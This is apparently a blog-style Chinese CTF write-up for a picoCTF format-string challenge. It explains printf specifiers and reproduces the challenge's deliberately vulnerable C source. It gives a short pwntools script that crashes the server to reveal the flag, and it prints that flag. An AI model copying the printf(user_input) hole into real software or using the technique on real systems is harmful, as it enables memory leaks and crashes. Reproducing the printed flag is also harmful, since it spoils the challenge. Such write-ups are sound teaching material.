What is Format String Vulnerability(格式化字串漏洞)?
Format String Vulnerability(格式化字串漏洞) 是一種常見於 C/C++ 程式的漏洞,通常發生在程式把「使用者輸入」直接丟給 printf()、fprintf()、sprintf() 這類格式化輸出函式。
例如printf危險的寫法是
printf(user_input);
安全的寫法應該是
printf("%s", user_input);
為什麼 printf(user_input) 危險?
printf() 的第一個參數不是普通字串,而是 format string(格式字串)。
例如:
printf("Hello %s", name);
這裡的:
%s
意思是:「請從後面的參數拿一個字串來印」。
所以如果寫:
printf(choice);
使用者輸入:
AAAA %x %x %x
程式就等於執行:
printf("AAAA %x %x %x");
但後面明明沒有給任何參數,printf() 還是會去 stack 上亂抓資料來印。
常見格式符號
%s 印字串
%d 印整數
%x 用十六進位印整數
%p 印地址
%n 把目前已印出的字元數寫入記憶體
其中比較危險的是
%p / %x 可能洩漏記憶體地址
%s 可能讀取不該讀的記憶體
%n 可能寫入記憶體
原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 32
#define FLAGSIZE 64
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
int on_menu(char *burger, char *menu[], int count) {
for (int i = 0; i < count; i++) {
if (strcmp(burger, menu[i]) == 0)
return 1;
}
return 0;
}
void serve_patrick();
void serve_bob();
int main(int argc, char **argv){
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);//signal(訊號, 處理函式);,當程式發生 SIGSEGV(Segmentation Fault,記憶體存取錯誤)時,不要直接讓程式終止,而是呼叫 sigsegv_handler() 函式處理。
gid_t gid = getegid();//取得「目前這個程式實際執行時所使用的群組權限 ID」,存入 gid。
setresgid(gid, gid, gid);//目前 process 的 三種 Group ID 全部設定成 gid,通常是為了確保 exploit 成功後產生的 shell / 執行的程式仍然保有 challenge 的群組權限。
serve_patrick();
return 0;
}
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}
解題
解題思路
選取符合條件的問題字串輸入
第一位客人 Patrick 的菜單:
char *menu1[3] = {
"Breakf@st_Burger",
"Gr%114d_Cheese",
"Bac0n_D3luxe"
};
程式會先檢查輸入是否在菜單裡:
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
}
如果輸入在菜單裡,就會執行:
int count = printf(choice1);
接著判斷:
if (count > 2 * BUFSIZE) {
serve_bob();
}
而題目中:
#define BUFSIZE 32
所以條件等於:count > 64
Gr%114d_Cheese
其中 %114d 代表 : 以至少 114 個字元寬度印出一個整數。雖然程式沒有提供對應的整數參數,但 printf() 還是會從 stack 上抓一個值出來印。由於指定了寬度 114,所以輸出長度會變得很大。因此 printf() 的回傳值 count 會超過 64,成功通過第一階段,進入 serve_bob()。
第二位客人 Sponge Bob 的菜單:
char *menu2[3] = {
"Pe%to_Portobello",
"$outhwest_Burger",
"Cla%sic_Che%s%steak"
};
一樣會先檢查輸入是否在菜單中:
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
}
如果輸入合法,程式會執行:
printf(choice2);
這裡又出現了 format string vulnerability。
Cla%sic_Che%s%steak
它裡面有多個 %s,當我們輸入時,程式會執行:
printf("Cla%sic_Che%s%steak");
其中 %s 的意思是 : 從後面的參數取出一個字串指標,並印出該地址中的字串。
但是這裡的 printf() 並沒有提供任何額外參數,所以它會從 stack 上亂抓值,並把那些值當成字串地址來讀取。
因此可能造成 Segmentation Fault (記憶體存取錯誤)
實際payload
from pwn import *
context.arch = 'amd64'
p = remote('mimas.picoctf.net',53373)
p.sendlineafter(b'Enter your recommendation:',b'Gr%114d_Cheese')
p.sendlineafter(b'Enter your recommendation:',b'Cla%sic_Che%s%steak')
p.interactive()
p.close()

提交flag
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_dc0f36c4}



說些什麼吧!